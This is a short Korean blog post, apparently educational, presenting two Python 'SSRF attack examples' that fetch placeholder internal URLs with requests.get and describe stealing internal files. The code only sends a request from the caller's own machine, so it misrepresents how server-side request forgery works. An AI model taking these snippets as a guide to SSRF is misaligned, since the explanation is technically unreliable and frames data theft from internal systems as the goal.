반응형
공격 예제 1
import requests
def ssrf_attack(url):
response = requests.get(url)
return response.text
# 공격자가 조작 가능한 URL
target_url = "<http://취약한-웹사이트.com/ssrf_endpoint?data=내부_리소스>"
# SSRF 요청 전송
result = ssrf_attack(target_url)
# 응답 출력
print(result)
이 예제에서는 requests 라이브러리를 사용하여 공격자가 조작 가능한 target_url로부터 HTTP GET 요청을 보내는 ssrf_attack() 함수가 정의되어 있습니다. 이를 통해 공격자는 취약한 웹사이트의 SSRF 취약점을 이용하여 내부 리소스에 액세스하고 응답을 받을 수 있습니다.
공격 예제 2
import requests
def steal_sensitive_data(url):
response = requests.get(url)
return response.text
# 악의적인 공격자가 SSRF 공격을 수행하는 부분
attacker_url = "http://내부_시스템_IP/중요_파일"
stolen_data = steal_sensitive_data(attacker_url)
print(stolen_data)
위의 예제에서 악의적인 공격자는 steal_sensitive_data() 함수를 사용하여 내부 시스템의 중요 파일에 접근하려고 시도합니다. 이를 위해 공격자는 SSRF를 사용하여 악의적인 요청을 서버에 전송하고, 서버는 해당 요청을 처리하여 중요 파일의 내용을 반환합니다.
반응형
'old > Cyber Security' 카테고리의 다른 글
웹 해킹 예제: 인증과 인가 취약점_CTF: Write (0) | 2023.07.22 |
---|---|
사이버 보안: SSRF 란 (0) | 2023.07.19 |
사이버 보안: 사회공학기법이란? (0) | 2023.07.19 |
XSS 공격기법 리스트 (0) | 2023.07.19 |
웹 개발: 식별과 인증이란 (0) | 2023.07.19 |